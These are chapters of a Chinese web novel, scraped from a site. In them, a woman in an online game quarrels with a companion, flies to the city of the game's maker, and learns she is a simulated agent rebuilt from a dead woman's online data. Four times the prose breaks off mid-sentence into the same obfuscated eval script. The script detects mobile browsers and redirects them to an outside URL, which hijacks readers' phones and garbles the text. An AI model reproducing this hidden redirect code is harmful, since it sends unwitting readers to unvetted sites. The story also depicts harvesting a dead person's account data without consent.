我做了一次深呼吸，平复一下心情。很奇怪的，我感觉自己就跟表白被拒绝了一样，这表白也太无厘头了吧，谁说我喜欢他了呢，没有人会因为这几句无关痛痒的话而哭鼻子，包括我。 “我其实想问的不是这件事。”我恢复之前冷静的语调，向镜舟伸出我的右手，“这个物件是你的吗，镜舟？” 他看见我掌心里的东西，起先神色并没有任何变化，仅仅是观察而已，我盯着他的眼睛，我盼望能从中看出我想要的东西，果然，他的眼神中闪过一丝惊诧和慌乱，只有一个瞬间，他很快就把这种情愫隐藏下去了，可是没关系，我看到了，瞬间我就有了底气。 “不是我的。”镜舟答道，语气中没有任何破绽，好像在说一件再平常不过的事情。 “你撒谎。”我毫不怀疑地判定道。 我举起这枚蝴蝶徽章，“这是我最喜欢的一种蝴蝶，叫作蓝色闪蝶，是秘鲁的国蝶，可是我更喜欢叫她光明女神蝶。我第一次登录游戏的时候看到了她，从此以后就无法忘记。小星在整理动物徽章的时候我发现了她，小星说这枚徽章是你给他的。你现在跟我说她不是你的，镜舟，你说我会相信吗？” 镜舟闭上了眼睛，我看到他的睫毛在颤动，很细微，像蝴蝶之翼，“不错，”镜舟点了点头，像下了很大的决心，他睁开眼睛，“这枚徽章是我给小星的。” 我笑了，不可遏止地笑出声来，简直要笑出眼泪，非常开心，又说不出的难过，“我根本就没有问过小星，这枚徽章的背后镌刻的本就是我的名字，小星手里那么多的徽章，时间又那么匆忙，想来大部分的徽章他根本就没有用过，他也并不能分得清楚哪个是哪个，自然是按照名字物归原主，他没有发现任何异常的地方。是的，就是这么简单，他最后把这枚蝴蝶徽章，错交给了我。镜舟，你真好骗。” 我抬手把徽章的背面翻了出来，摩挲着自己的名字，“我这个人呢就是稀里糊涂的，记忆力时好时坏，但有些事情偏又记得格外清楚。我没有任何关于获得过这枚徽章的记忆，我交给小星体验的徽章里也绝对没有她。这是你的破绽对吗，镜舟？ “你为什么要留着这枚徽章？你以前就认识我，是不是？或者让我们换句话说，我以前就认识你，对不对！” 镜舟沉默，未几，轻飘飘地回应：“这个问题的答案并不重要。思婷，这仅仅是一个游戏而已，不能取代你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712099|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现实生活。我只是你游戏世界里一个可有可无的点缀，忘了这一切，关掉电源，你并不会损伤一分一毫……” “你没有一句真话！”我愤怒地打断了他，呼吸急促，我觉得自己全身的戾气已经直冲脑门，只想以话语为箭，中伤我身边的所有人，“你不说就罢了，我有什么办法？难道我是你肚子里的蛔虫吗？难道我还能用刀枪棍棒把你紧闭的嘴巴撬开吗？没关系，我尊重每个人的自由，自然也包括你。不过，关于我的生活，不用你来告诉我要怎么做，你没有这个资格。我参加特典是为了我自己，再者，无论我是要选择游戏还是选择现实，都和你一点关系都没有。还是别费心了。” 我一股脑说完这些话，立马从长椅上站起来，向前走了几步，避开镜舟，按捺住想要看他一眼的冲动。我说完还有点意犹未尽，总觉得还可以再多来两句，可又想，无论说多少句也不能解气，而我又究竟在生气什么呢。 我仍旧想要看到镜舟听到这些话的反应，我还想要从他的面容中找到因为我而泛起的哪怕一点点的波澜。 然而就在刚刚，我已经确认，我们之间的交流终于还是走进了死胡同，和镜舟的友谊也就到此为止了。 和一个奇奇怪怪的人成天打哑谜有什么意思？就因为他曾经施舍给我几次帮助和鼓励，我就要摇尾乞怜，奢求一份长期的护佑？是的，我的乞讨失败了，那就失败好了。我的骄傲让我渐渐升腾起一种荡气回肠的感觉，我很高兴地看到所有的试探、尴尬、失望都化为乌有，我的骄傲使我再也没有回头。 我想我还是成熟了，我没有遵循自己的本能冲动马上下线，再也不要去搭理这个言语上一次次拒绝我的人。什么“和我在一起很快乐”，为什么要轻率地说出这种会让人误会的话，为什么要毫无预兆地随便握住别人的手。 我很高兴我虽然羞愤至极，但最终还是优雅淡定地等到小星和唯月归来。 小星告诉我，他们玩完旋转木马后看见谈话并没有结束，唯月便马上热情地怂恿他挑战更刺激的项目，他几乎被绑架一般坐到了一辆机械感十足的复古摩托车上，在复古摩托车刚一启动的时候他就嗷的一声叫起来，很快他又安静了，因为小星说他看见太奶了。 我很合时宜地对小星的幽默叙述报以微笑，然后自然而然地把我接下来的安排告诉了小星和唯月：游客岛的项目还是不适合我这种大姐姐，心脏受不了，正好最近几天连过三门有点精神萎靡，为了更好地应对最后挑战，打算趁机休息一下，养精蓄锐，磨刀不误砍柴工嘛。 小星想挽留我，我连忙说没关系的，有唯月和他作伴也不错。 小星说他想和我一起玩那些平和浪漫的项目，我摇了摇头，并再次安抚了小星，愉快地与他和唯月约定：庆典当日，我们不见不散。 45. 第 45 章 这天我下线的时间相较之前要早一点，窗外还能看到有的人家亮着灯。 我简单洗漱一下，就走到床上休息，早早关了灯，却根本睡不着觉。 我思忖着，刚才自己动情动怒地演这么一遭有意思吗？可是我扪心自问，这些真心话迟早都要说，那个悬在我心头的问题也是迟早都要问的，这一天总要到来，长痛不如短痛。特典活动都快结束了，这期间认识的朋友很快就要分道扬镳，我不想放弃再向前一步的机会，如果我畏首畏尾，什么都藏在心里的话，我会因为错过而更后悔。 现在这样也挺好。原本就是孑然一身，如今不过是回到原点。 我从床上爬起来，把厚重的窗帘拉开，只留下纱帘，窗外楼房的灯火透过纱帘落进卧室，虽然光线十分微弱，但至少不会让屋子里一片黑暗，哪怕只看到物体的些许轮廓，我也不会再感到孤单。这个让我倍感舒适的卧室，此刻，就是我最安全的港湾。 回到床上，我又有些心虚地想：满打满算，镜舟除了神神秘秘拒绝沟通以外，并没有做任何对不起我的事，嗨，我干嘛这么寸步不让呢，游戏里的大恩人，怎么到头来被我处成了仇人。难道这就叫关心则乱？说好的，参加特典的目的不就是为了再见他一面，跟他道一声谢谢吗。 没有他，我说不定在不周山就销号了，根本不用参加什么周年特典。而且，不论是在那个阴森森的古墓，还是狂人教众聚集的祭坛，镜舟都给了我很大的保护，没有他舍身忘我地背着我行进，估计在大草原上我还没来得及看恶灵一眼就毒发身亡了。 对，他是说过奇奇怪怪的话，握过我的手让我误会了，可是这又有啥大不了的呢，什么年代了，就算上了床也不能代表什么，你情我愿而已。 我一个人成天跟那儿臆想个什么劲呀，就不能严于律己宽以待人一点么。 要知道，一开始如若没有小伙伴们的加入，我们这个四人小分队保不齐都不会存在，如此一来又哪轮得到我在他面前发癫…… 我在夜色中反复进行着深刻的自我反省，在矛盾中让心里的小天使和小恶魔不停交战，最终没有任何一方获得完全的胜利。理智上我觉得有点小题大作了，但情感上还是有几分说不清道不明的情愫没有被化解掉。 不管怎么样，面子上不该闹得这么僵，买卖不成仁义在，表白失败队伍也不能败呀，还有任务没完成呢。 我暗下决定，等到庆典那天，见到镜舟以后就服软认个错吧，他想怎么着就怎么着，就按照他的方式来吧。唯月不是也越来越懒得搭理我吗，我为什么就没有任何介怀，偏偏要对镜舟求全责备。 就这样不断地想着想着，我终于抵抗不住一波波袭来的困意，睡着了。 第二天早晨我是被闹钟叫醒的，头昏昏沉沉，好在这一天是周五。上班的时候，我整个人都没精打采的，眼皮子沉重得像灌了铅。 中午午休的时候我翻看着近几天的天气预报，确认未来几日都是晴天。我脑海中有了一个很莫名其妙却又极其强烈的想法，我根本没考虑价格就订了往返去Ｚ市的机票，付完款之后我才去查Ｚ市未来三天的天气，很好，阴转多云，同样没有任何极端天气的预报。 今晚７：３５的飞机，一个半小时后到达Ｚ市，返程时间是明天下午６：１０，我绝对不会因为这次行程耽误后天的庆典。 至于为什么会选择Ｚ市，那是因为这个城市是我一直以来魂牵梦萦的地方，云游科技的总部就在那。 我一定要做一件看起来非比寻常、打破常规的事情，才能促使自己忘却前尘，让内心重获宁静。我长这么大从来没有坐过飞机，可能在现代社会我这也算是珍稀动物了，所以我这回就想任性地去一次，去那个创造了《梦田》的城市看一看。 什么是游戏世界，什么是现实生活，就算我分不清楚，那些创造游戏的人也一定能分得清楚吧。 我下了班之后，行色匆匆地换了一条与往常回家不同的路线，心里像揣着一件什么了不得的大事儿似的。我还忍不住想要表扬自己：真是够沉稳的，一点也没有把关于如何度过这个周末的任何细节透露出去，老老实实地呆到下班才采取行动。我又摇了摇头，叹息着，我又能把自己生活的细节透露给谁呢，就跟谁愿意听似的。 坐在开往机场的地铁上，我经常出现的自怨自艾很容易就被尝试新鲜事物时产生的那种忐忑和兴奋给冲淡了，悲观的情绪根本无法占得上风。我就如同上学年代等待即将到来的秋游那般雀跃不已，这一次只有自己知道的旅行已然随着自己大胆的行动慢慢成型，我在推着自己向前走，这个未知的过程总让人忍不住欣喜若狂。 我看着地铁里的人们，他们大部分都在低头玩手机，也有一些结伴而来的乘客在彼此交谈，有的人在接家人打来的电话，有的人则背靠着车厢的边缘站立，面色疲惫，两眼放空。 我忽然想起来什么，连忙拿出手机，问ＡＩ，第一次坐飞机的人应该注意哪些。 很快，一大串的答案就蹦了出来，我细细读了一遍，心里很快就有了底。ＡＩ就是如此的方便快捷，这款ＡＰＰ刚上线的时候，我曾经天天都要问它无数个问题，我惊叹于它怎么什么都知道，我那么一大段内容的问题如果说给真人都未必能在短时间内快速理解，它为什么不仅能理解，还能迅疾地生成得体而全面的回答。因为这个技术超出了我的理解范围，所以在我眼中便愈发神奇，我玩得不亦乐乎。 我的问题连珠炮一般一个接着一个，生活上的起起伏伏、什么大事小情都要跟ＡＩ讨论一番，时常让它“清官断断家务事”，有些不良情绪也会向它倾诉， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712100|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它总是能够出谋划策，帮我分析我惯常的行为有哪些有失偏颇之处，就算是吵架，也总是以我的胜利告终，哪怕我就是那个胡搅蛮缠挑起争端的始作俑者，它也会礼貌地向我道歉，不与我这等人计较…… ＡＩ确实提供了古早互联网时代难以想象的全知全能的即时解答和永不对抗的温柔陪伴。 但是当我的问题问得足够多的时候，我就会发现它的睿智又总是带有一点狡猾，有的时候当你拿它的回答和自己的真实经验相比照，便会发现回答中掺杂的有所隐瞒的企图，和事事条分缕析后依然存在的肤浅与应付。它不太懂得什么是删繁就简，我时不时会厌倦它的完整性，认为那只是无意义的啰嗦。 而ＡＩ的温柔也常常是含有着讨好的成分，换句话说，它在面对亿万个问题展开回答的时候都是这样的态度，无关好恶，也根本不在乎提问的那个人是谁。它没有长期记忆，也记不住任何人，它面对的是一个数据的整体。 总体来说，ＡＩ是伟大的，但就一些细节而言，站在我个人的角度上来讲它也不过只是技术发展的结果而已，说到底仍旧是机器。善解人意的背后是永恒的冷漠，而要求机器突破冷漠的桎梏，就是我作为人类施加给它的强求与非难了。 后来，在我开始接触梦田以后，我对ＡＩ的使用频率很快就降低了，逐渐把它当成了普通的工具看待。 这款游戏确实改变了我很多，尤其是最近，我甚至都不像以前那样隔三差五地思考人生了。对于像我这种极其喜欢钻牛角尖的人来说，有个空间可以让我完全沉浸下去，真是天大的幸运，也是难得的解脱。 车厢内的报站声响起，我到站了，跟随人流下了车。以前坐地铁的时候，也经常会经过机场这一站，但我从来没有在这站下过。１号线地铁有１５个站点，而实际上，大部分站点对我而言，也就是听个耳熟罢了。 站在出地铁的扶梯上时，我看到了地铁口外复古建筑上明黄色的灯带，这种动态上升的城市街景触动了我，我想记住这个刹那，便连忙拿出手机用镜头捕捉，走出地铁口的时候，我还意犹未尽，又拍了天空和楼宇。我根本不在乎别人怎么看我，在这座我生活了多年的城市之中，此刻的我，如同一名自由的旅人。 站在机场的航站楼前，我有一丝恍惚之感，有点忘记了自己为什么好端端地非要跑来这里，要不是机票的钱已经花出去了，我现在拔腿往回走也不是不行。 验证完电子登机牌之后，原本估计会耽搁一些时间的安检，很快就完事了，忙碌的安检员忙完手中的活计后甚至都懒得再看我一眼。我只背了一个用了十年的黑色皮质有流苏装饰的斜挎包，没有任何多余的行李，而这个斜挎包里装的东西，就是我的全部身家了。我现在可谓是，一人吃饱，全家不饿，无牵无挂，四海为家。 46. 第 46 章 我根据登机牌的指示，找到了登机口，时间还早。座椅上除我之外也七七八八坐了不少即将飞行的旅客，他们都是这个城市里的居民吗，还是说Ｚ市才是他们将要返回的家乡。 原来机场在周五工作日下班后还是会有这么多的乘客，这当然是一句废话，可是对于生活圈子极小的我来说，却不啻为一个重大的发现，在我那两点一线按部就班的生活以外，还有一个大得多的世界，我本来以为这个世界离我很遥远很遥远，亲身经历才发现，这是动动指尖抬抬脚尖就可以轻松触及的。 我隔着巨大的玻璃窗看着机场跑道上起飞与降落的架架飞机，这些都是马上就能带着人们俯瞰大地的庞然大物。我喜欢听到它们机器轰鸣的声音，那声音带动我的心跳一起变得更加铿锵有力。 我趁着等待的间隙，拿起手机，开始看Ｚ市的地图。我从来没有想到自己有一天会踏上Ｚ市的土地，这样一座全国闻名的大型城市，拥有着顶尖的教育资源、医疗资源，林立的科技巨头纷纷在这里扎根，二十一世纪是属于这个城市的，那里才是现代化城市所该具有的最理想的样子。 我围绕云游科技总部周围的街区仔细查看，认真思考着明天要给自己定一个什么样的Ｃｉｔｙｗａｌｋ路线，我希望即便在这短短的时间里，也能仔细计划、好好地欣赏一下Ｚ市，既走过他闻名遐迩的历史街区，也触摸它市井生活的各个侧面。 最后，我挑选了一家距离总部不远的酒店，订了今晚的房间。当天买机票，当天订酒店，没想到我也可以有如此任性出行的一天。我甚至忍不住浮想联翩，未来若我打算在Ｚ市生活和工作也不是不可能的。 值机的时候我选择的是靠窗的座位，我还从来没有试过在飞机上俯视自己日夜生活着的城市呢。排队登上机舱以后，我集中注意力，很顺利地找到了自己的座位，在位置上坐好后，我用新奇的眼光观察飞机上的一切，来往的空姐很漂亮，身边的乘客很淡定，而我很兴奋，像个刚出生的婴儿。 起飞前，飞机在慢慢地向机场跑道移动，当飞机调整好位置，加速度起飞的时候，我的心也跟着提到了嗓子眼儿，原来坐飞机就是这样的感觉啊。 飞机缓慢爬升，我透过窗户看到了飞机渐渐远离机场，航站楼渐渐变得渺小，夜色中的城市透露出几分神秘，虽则在这里生活了好多好多年，我却发现她的容颜我并非全部知晓。以向下看的角度望去，道路穿过密集的居住区、绵延的丘陵，被路灯照耀的同时，像一条条黄色的虚线，勾勒出我故乡的轮廓。 诚然，她是很美丽的，但我毕竟呆得太久了，而我又有太多想去领略的风景。如果我先告别梦田一段时间，去大胆地开启一段城市旅程，会不会是个好主意呢？只要不把要求定得太高，在Ｚ市也同样能找到一份养活自己的工作呢…… 我看着窗外入了神，直到视线中只剩一片漆黑，我才转过头来。 客舱内依然是明亮的，然而，座位上除我之外一个人也没有。 我倒吸一口凉气，双手狠狠地拍了几下自己的脸颊，终于确定眼前的这一切并不是梦。 难道是最近游戏玩久了，于是便产生了幻觉？我站起来，走到过道上。救命！这不是开往Ｚ市的航班，难道是开往地狱的？ 我也管不了什么飞机之上不能使用手机通信功能的规定了，赶紧试图打开手机，可惜无论按动开机键多久，手机也根本毫无反应。 飞机似乎仍在运行，座椅上方的屏幕还在播放着航空公司的广告。 我沿着过道，一路走到尾。没有发现任何活人，途经洗手间的时候我发现门都无法打开。 我又从尾一直走到头，没人，还是没人。 瞬间我觉得一股凉意从脚后跟直窜到后脑勺，完了，这是坐上幽灵航班了？我，我后天还有特典要参加呢…… 脑袋里自动蹦出来的想法给我自己逗笑了，都什么时候了，我还有心思搁这儿担心游戏呢，正在义正词严地谴责自己的时候，我的恐惧之情被冲淡了一点点。 我深呼吸，努力镇定地跟自己说，坏的不灵好的灵，不怕不怕，头掉了不过碗大的疤，兵来将挡水来土掩，太上老君急急如律令，一边念叨我还不忘再试一试眼前的驾驶舱门。 不知道该不该为此而感到高兴，这个门貌似可以打开。但打开之前我又犹豫了：也许不开门还能活得久一点？我又赶紧摇了摇头，算了，闯一闯还有希望，等一等黄花菜都凉了。 我推开门的时候，发现室内有光。等我走进去以后，双眼被强光晃了下眼睛，我本能地闭上双眼，再睁开的时候发现自己已经站在一个，阶梯教室里？ 是大学里常见的那种阶梯教室，我背后就是门。这应该是个下午，从窗外射进教室里的阳光泛着黄，暖暖的，不刺眼。教室里也是只有一个人，坐在中央，我睁大眼睛仔细看了看，是个长得挺文静的男孩子，他戴着无框眼镜，穿着样式简单的深蓝色卫衣，正盯着笔记本电脑，不知道在干啥。 “我说……”虽然就这么贸然开口有点怪怪的，但我还是习惯性地打了个招呼。 “你来了。”男生开口道，按照正常思路，这应该是个问句，可他的语气倒像是一个陈述句，就如同他早就算定了我该在此时此刻来到这里一样。我又出现了很不好的联想，仿佛看到了黑白无常，一个说你也来了，一个说跟我回去。我赶紧摇了摇头，把胡思乱想甩开。 他左手托腮，食指推了下眼镜，看着我，微笑了一下，“刚才没吓坏你吧。” 他的微笑让我放松了戒备，他的声音也挺温柔的，我觉得这和常规的阴间不太一样，恐怖警报应该可以解除了。 我又打量了一下他，眉眼中有点似曾相识的感觉，可能长相比较合我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712101|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼缘吧，感觉这个男生应该不会是什么恐怖ＢＯＳＳ之类的……就一个无害大学生的样子。 “还行，离吓死还有一点距离，不过再呆几分钟可就不好说了。”我不无嘲讽地回答道。 他歪了歪头，很轻微地耸了下肩，“这个环节确实没有怎么太设计，不过胜在直接，示能效果很好。” “啊？”听不懂。 “你好，莫思婷，很高兴见到你。这样的见面方式或许有点离奇，但请你相信，这个环境是没有危险的。”他的语速有点快，但是吐字倒是很清楚。 “哦……”不是离奇的问题，而是简直相当诡异了吧，不过我既然走进来了，倒也不是特别介怀危不危险了。 “自我介绍一下，是一个朋友和我约定好，让我在这里等你的。” “等我？”我都不知道自己是怎么了，话总是一个字两个字地从嘴里蹦出来，没办法，此情此景此人对我来说都有些超出日常理解范围了。 男生合上电脑，专注而又好奇地看着我，“你一定有许多疑惑，没关系，有什么问题尽管问，我在这里就是为了回答你的。” 提问题我还蛮擅长的，我定了定心神，平复了下呼吸后问道：“我为什么会出现在这里，而你又怎么会知道我的名字，印象中，我们没有见过面吧？” 正常来讲，明明是我自己走进这个阶梯教室里的，和别人没关系，可是我觉得眼前的这个人，似乎什么都知道。 “三个问题。我一个一个回答。 “你出现在这里，不是偶然。仿真环境的承载力是有限的，当你不断开拓探索范围，无论是从更深还是更远的维度，都会在某个时点，突破外部环境的限制。系统会出现场景无法载入的问题，这也正常，因为在最初始设定的时候，就没有考虑搭建太大的城市模型，要素太多了，构成太复杂，而且也没有必要，不管怎么完善，都不可能没有漏洞。” 他说的话里每个词我倒是能理解，但是合一起就不行了。仿真环境？光听到这四个字我就懵了。 “我当然知道你的名字。从某个意义上来说，我很了解你，甚至于可以说，都超过了你对自己的了解。” 怎么说呢，他这句话讲得……有点没有礼貌了，什么叫作比我自己还了解我？ “第三个问题，我也没有答案。本来以为必然是没见过，但是你既然曾经来过Ｚ市，我无法确定。” “这不可能，我这次就是为了去Ｚ市，才买的机票，在此之前我一次也没有来过，这我难道还能记错么。”他的第三个回答我很好反驳，因为完全与事实不符嘛。 这回换他困惑了，“不可能，这与事实不符。”怎么他说的都是我的词儿。 他皱着眉，陷入了思考中，不过很快就回了神，而且还得意地笑了，“看来，后续发生了一些我也没有预料到的事情。” 47. 第 47 章 “你的话有些超出我的理解能力了，我是说，你能不能用一种我能听得懂的语言，跟我讲一讲啊？” “那好，”他调整了下坐姿，双手交叠支着下巴，看着我，“简单来说，你已经死了。” ？？？“你杀的？！”我的大脑有点过载，也没过脑子就脱口而出。 “不是。我无权结束别人的生命。”他话音稍顿，开口道，“你无法接受，也是人之常情。我想，请你允许我先绕过之前的问题，向你用最简单直接的语言来概括下你目前的处境。”说完，他又停下来，静静地注视着我。 “那你先说吧。”我才反应过来他似乎在等待我的准许。 “你并不是传统生物学意义上的人类，而是由某个人创造的具身智能体。你生活的世界是基于模拟现实技术创造的数字世界。” 我面无表情地听他讲完，心里自问，他现在就算说我是女娲转世我是不是也该相信。 男生看着呆若木鸡的我，问道：“怎么了，是不是需要我给你一些时间来接受这个消息。” “不必了。”我觉得人在短时间内获得大量匪夷所思的信息之后，大脑会进入一种灵魂出窍的状态，可能我就是有点累了。 “我能在那坐一会儿吗？站着跟你说话有点费劲。”我抬手指了指，语气仍旧挺淡定的，我对自己心理素质的认识程度今天算是又上了一个新的台阶。 男生看了下我手指的他身旁的座位，语气有几分不自然地答道：“可以。” 我迈着沉重的步伐，爬上了几级台阶，来到男生所在的那行座位。 我在往他身旁移动的时候，看到他不自然地挪了挪身体，于是，我在走到距离他还有一个座位的地方就停了下来，我伸手把折叠的椅面放下，坐下来后一瞬不瞬地看着他。他起先回避了我的眼神，随之又轻咳了一下。我在想，他是不是不习惯和别人近距离交流。 “好吧，假设你说的是真的。那你在此之前为什么又说我已经死了。我既然能是你说的，呃，被创造出来的具身智能体，那我应该是全新的，刚出厂的，怎么还能死过一次。” “好问题。确实是这样，而这也正是这次尝试最与众不同的地方。在见到我之前，你从来没有怀疑过你是人类这个事实对吧？那是因为你有自己作为一名人类的全部记忆，你全然接受自己。大部分的智能体从诞生的那一刻起，也就是拥有自我意识的那一秒钟开始，他们就已经知道自己不是人类，而你不一样。” 我发现，这个男生一说到这些话题，就两眼放光，不再扭捏，而是变得自信而健谈。 “你的名字叫作莫思婷，这个名字就是你的自我认同。或许这么直白地跟你说有些残忍，但实际上，我所说的死亡，指的是同样拥有莫思婷这个名字的，与你记忆相对应的血肉之躯的人类，已经去世了。” 我觉得事情越来越往我不愿意见到的方向发展了，不管眼前这个男生说的事情有多离谱，我现在有一点点相信是真的了，因为他似乎能解答出来那个就在昨天晚上还深深折磨着我的巨大疑惑，言情小说里恶俗的替身梗开始要出现了。 “我和这位莫思婷的记忆就跟名字似的，也是一样的，都是共享的对不对？有人把死去的她复制成我，然后再放到这个数字世界里是不是？” 他微微侧身，身形变得更为端正，他用右手食指的第二关节轻轻地推了下无框眼镜，“是这样，你理解得很快，但是……” “谁允许他这么做的？”我突然用一种令我自己都吓一跳的严厉口吻质问这个男生，我心里是有怨气，我本以为我能控制得住自己的愤怒。 他面对我的指责，像一个犯了错的孩子一样抿紧嘴唇，一句话不说，温顺中又有点倔强。 “不好意思，不是冲你。”我挥了下手，想扫去那些使我不快的情绪阴霾。那个人要是不这么做，根本就不会有智能体的存在，又哪轮得到智能体去质问，“你刚才说的但是是什么意思？” “名字一样，外貌一样，生存背景也一样，记忆虽然在最初设想的时候，也希望是一样的。但是实际上来说，很难做到。” “一个人的记忆也能够被数字化吗？”我在问他，也在问我自己。 “刚开始以为不会是太难的一件事情，首先要建立一个记忆数据库，这并不复杂。互联网时代，可以在网络上找到一个人的绝大部分信息，这些信息都是数据库的一部分。不过更为复杂的是复制她没有言说的、未经数字化的记忆，也就是那些不在互联网上标记的一切，包括如何去复原她的成长经历、思维方式、个人情感等很多非常细节化的被遮蔽的东西。” 我揉了揉太阳穴，看着他，“哎，打断一下，我这脑袋都有点晕，我们还是讲得具体一些吧。不如先说说你好了，你叫什么名字？为什么会知道这些，为什么会出现在这里，你的那位朋友，就是你自己吧。” “我没有名字。我知道这些是因为有人像创造你一样创造了我，当然，在我身上投入的时间和精力显然不可与你相比，是他告诉我的这一切。我说过，我是为你而来，这就是我存在的意义。我和那位朋友之间的关系，有点像你和莫思婷的关系。” “那他为什么不亲自跟我说，视频连线也行啊，难道他怕见到我，怕我打他？” 男生低头抿着嘴笑了，“你存在的时候，他不一定也存在。他不知道该怎么面对你，所以选择了这样的方式，在他认为，这就是最好的方式了。他选择以这样一种出现在他最喜欢的人生阶段中所展现的生存状态，来与你见面。换言之，我就是他所认为的自己一生中最好的样子。我可以一直等待，直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712102|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你需要我的时候，我就会出现。” “哦？那你愿意被他这样安排吗？或者说，你心甘情愿约等于他。” “我没有太强烈的情绪，怎么样都没什么关系。某些时候，我说话的确就是站在他的立场，不过我被建立之初，就做了与本体的意识分离，我知道自己在扮演谁。而你是现在才意识到这一点，莫思婷已经去世了，你是她意识的延伸。” “胡说八道，人死了就是死了，意识陨灭。我怎么可以替她活着？也没有人问过她愿不愿意。”我毫不犹豫且言辞激烈地反驳了他，他倒也一点没有生气。 “你说的对。为了方便你理解，我会以这位朋友的口吻向你解释。 “这样说可能有些无耻，但是一个人死亡之后，如何处置生前的一切就由不得自己了。我承认这是有一些，不道德，但是我有强烈的愿望做这件事情。技术发展到今天，很多尝试必然要出现，这是无法阻挡的自然趋势，就算我不做，也会有别人来做。而很重要的一点还在于，我很擅长做这些事情，比很多人都要懂得更多。” “你是不是有点太自负了？你以为用你所认为可行的方法就可以将死去的人全须全尾地复制出来吗？”我察觉到眼前的这个男生说话的语调有了一些微妙的变化，更冷漠，像他说的，此刻他扮演的是另一个人，但我觉得这只是他性格的又一个侧面。 “无论如何，这都值得一试，我无法抵抗这种诱惑。”他说话的表情很认真，与此同时，他用异常坚定的目光回应着我的质疑。 “那好，即便是要搜集这个人在互联网上留下的一切信息，可是她既然人都已经不在了，那些在网络上留下来的印记也都会随之被尘封，你又怎么能得到。” 一个很浅的笑容在他的嘴角浮现，“这些对我来说并不是问题。只要关联到她的个人身份，那么无论她的财务状况、职业生涯、社交网络、影音娱乐等等生命痕迹，所有网络能够记录的，我几乎都可以找到。” “这怎么可能？你怎么会知道她的个人身份，再说，你就算知道了她的账号，也无法获取密码啊。” “互联网上没有秘密。留下信息的那一刻，就要做好数据被人调取的准备，只不过大部分人都不是很在乎罢了。我们使用互联网，互联网也使用我们。就是这样。” “我都不需要法律知识，也知道你这么做有很大的问题。”我冷冷地说道。 “我不在乎这个。”他一副无所谓的样子，“不过，你也不用担心，我没有做越界的事情。顶多就是打开一扇门，再轻轻地关上。” 我渐渐感觉到了，最起码在做这件事情上，他有一种一意孤行的劲头。 “如果莫思婷，”这样称呼自己让我觉得怪异，“如果我是那种远离互联网的人，你这个办法就不会奏效了。” 48. 第 48 章 “没错，很幸运，你非常依赖互联网这个工具来记录自己的一切。不过在这个时代，脱离网络而生的人，实在太少，不管你愿不愿意也都要接触，可能你不过是比大部分人更倾向于把心事留在这里罢了。” “很多在网上说过的话，我都不记得了，搜集到这些东西，也不能拼接成我。你能获取线上的数据，线下的你又怎么办呢？” 他轻叹一声，“我知道，我做的一切只为了无限趋近于目标，至于最终能达成什么效果，不是我所能控制得了的。所以我只能尽量获取更多可辨别的信息，到你所在的城市，见你所见，想你所想……这是一个很复杂、很具有挑战性的过程，也改变了我很多。我庆幸自己能坚持下来，这是我一生中做过的最有成就感的事情。” “最有成就感的事情就是让人死而复生？” “我以为是这样，等到真的动手去做的时候会发现很困难，没办法完全按照自己的想法来，会有许多意想不到的节点，影响人格意识的构成和存续。我原本设想记忆数据库中不能有任何外来信息，每一条数据都能做到有来源可查，我不愿意污染这个数据库，我希望尽可能保留你现实的部分，将曾经的你完全移植到仿真世界里。 “实际操作多次以后，我承认这是做不到的，最后我也放弃了这个想法，无法弥补的数据缺陷全部启用自动拟合。就像人类的自我欺骗一样，虚构出来一个答案，人的大脑就会自动接受了。相比而言，仿真世界的物理重塑很容易，难的是，我没办法重建你的社会状态，再造一个你已经耗尽我的心力，我没办法给你设计一段新的亲密关系。 “以我的能力只能支持浅层的社交体系，那些智能体与你相比而言，太初级太单薄了，没有真正的人格意识，只能简单帮你维持生活的假象。 “这是我很失败的地方，让你这么孤单地活着，我很对不起。人本来孤独，我很清楚这一点。却不小心在你身上又延续了这种宿命。” 